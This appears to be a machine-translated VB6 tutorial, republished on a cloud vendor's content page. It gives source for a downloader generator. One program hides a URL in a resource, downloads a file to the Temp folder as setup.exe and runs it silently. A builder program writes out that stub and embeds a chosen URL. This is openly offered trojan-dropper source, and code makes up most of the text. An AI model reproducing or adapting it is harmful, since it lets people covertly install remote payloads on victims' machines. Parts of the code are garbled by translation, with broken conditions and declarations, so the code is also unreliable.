VB Creator Download information exists in the resource file.

Source: Internet
Author: User
Tags resource
Download

The following is the service side

Private Declare Function gettemppath Lib "kernel32" Alias "Gettemppatha" _ ' Gets the Temp directory API
(ByVal nbufferlength as Long, ByVal lpbuffer as String) As Long

Private Declare Function urldownloadtofile Lib "Urlmon" Alias "Urldownloadtofilea" (ByVal Pcaller as Long, ByVal Szurl as String, ByVal szFileName As String, ByVal dwreserved as Long, ByVal LPFNCB as long, under File API

Public Sub Main ()
Dim sourceURL as String
Dim Chen () as Byte
Dim TargetFile as String
Dim TempPath as String
Dim Len5 as Long

Dim I as Long

Chen = LoadResData ("HTTP", "icon") ' Fetch data
For i = 0 to 184 ' revert to character

If Chen (i) <> 0 and Chen (i) <> Then
sourceURL = sourceURL + Chr (Chen (i))

End If
Next
TempPath = String (255, 0)
LEN5 = GetTempPath (256, TempPath)
TempPath = Left (TempPath, LEN5)

TargetFile = TempPath + "setup.exe" save path
hfile = Urldownloadtofile (0&, sourceURL, TargetFile, 0&, 0&)
If hfile = 0 Then
Shell TargetFile, Vbhide
End If

End Sub

Save it as a bas file

The console file needs to read and write to the resource file

Use the following APIs

Public Declare Function beginupdateresource Lib "kernel32" Alias "Beginupdateresourcea" (ByVal pfilename as String, ByVal Bdeleteexistingresources as long) as long

Public Declare Function updateresource Lib "kernel32" Alias "Updateresourcea" (ByVal hupdate as Long, ByVal Lptype as Stri Ng, ByVal lpname as String, ByVal wlanguage as Long, lpdata as any, ByVal cbdata as long) as long

Public Declare Function endupdateresource Lib "kernel32" Alias "Endupdateresourcea" (ByVal hupdate as Long, ByVal Fdiscard As long) as long

These guys can put it in a bas file.

The following is the code for the console


Private Sub Command1_Click ()
Dim Bwenjian as Long
Dim Wenjian as Long
Dim Ewenjian as Long
Dim APP2 () as Byte

Dim Astr as String * 200


APP2 = LoadResData ("EXE", "Exefile")
If Dir (Text1.Text) <> "" Then

MsgBox Text1.Text + "already exist"

Exit Sub

End If

Open Text1.Text for Binary as #1

Put #1, APP2 ()

Close #1



Astr = left$ (Text2.text, 200)

Bwenjian = Beginupdateresource (Text1.Text, False) ' starts a process of adding resources

Wenjian = Updateresource (Bwenjian, "icon", "HTTP", 2052, ByVal astr, 200) ' Add Resource

Ewenjian = Endupdateresource (Bwenjian, False) ' End Add resource process

End Sub

Private Sub Form_Load ()
Text1.Text = App.Path & "\xz. Exe ' ' Default service-side filename
End Sub

Of course you have to save the server EXE import as a resource



Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.